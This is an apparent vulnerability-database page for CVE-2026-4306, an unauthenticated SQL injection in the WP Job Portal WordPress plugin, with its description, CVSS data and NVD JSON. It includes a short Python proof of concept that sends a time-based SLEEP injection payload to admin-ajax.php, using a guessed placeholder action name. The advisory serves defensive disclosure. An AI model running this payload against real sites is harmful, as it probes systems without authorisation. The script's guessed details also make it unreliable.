Security Vulnerability Report
中文
CVE-2026-4306 CVSS 7.5 HIGH

CVE-2026-4306

Published: 2026-03-23 23:17:13
Last Modified: 2026-04-24 16:32:54

Description

The WP Job Portal plugin for WordPress is vulnerable to SQL Injection via the 'radius' parameter in all versions up to, and including, 2.4.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WordPress WP Job Portal Plugin <= 2.4.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Proof of Concept for CVE-2026-4306 # Target: WordPress WP Job Portal Plugin <= 2.4.8 # Vulnerable Parameter: radius def check_sqli(target_url): # The endpoint might be similar to this based on plugin structure endpoint = "/wp-admin/admin-ajax.php" # Payload to test time-based blind SQL injection # Adjust the action parameter based on the specific vulnerable action discovered payload = { "action": "jobportal_ajax_action", # Placeholder action name "radius": "1 AND SLEEP(5)-- -" # Malicious SQL injection payload } try: response = requests.get(target_url + endpoint, params=payload, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Response time delayed.") else: print("[-] Vulnerability not detected or payload incorrect.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://example.com" check_sqli(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4306", "sourceIdentifier": "[email protected]", "published": "2026-03-23T23:17:13.403", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Job Portal plugin for WordPress is vulnerable to SQL Injection via the 'radius' parameter in all versions up to, and including, 2.4.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}, {"lang": "es", "value": "El plugin WP Job Portal para WordPress es vulnerable a una inyección SQL a través del parámetro 'radius' en todas las versiones hasta la 2.4.8, incluida esta, debido a un escape insuficiente del parámetro proporcionado por el usuario y a una preparación insuficiente de la consulta SQL existente. Esto permite que atacantes no autenticados añadan consultas SQL adicionales a consultas ya existentes, lo que puede utilizarse para extraer información confidencial de la base de datos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-job-portal/tags/2.4.7/includes/ajax.php#L10", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-job-portal/tags/2.4.7/modules/job/model.php#L2743", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=/wp-job-portal/tags/2.4.8&new_path=/wp-job-portal/tags/2.4.9", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ecc34552-c9b0-455f-b1c7-b31cc847cb22?source=cve", "source": "[email protected]"}]}}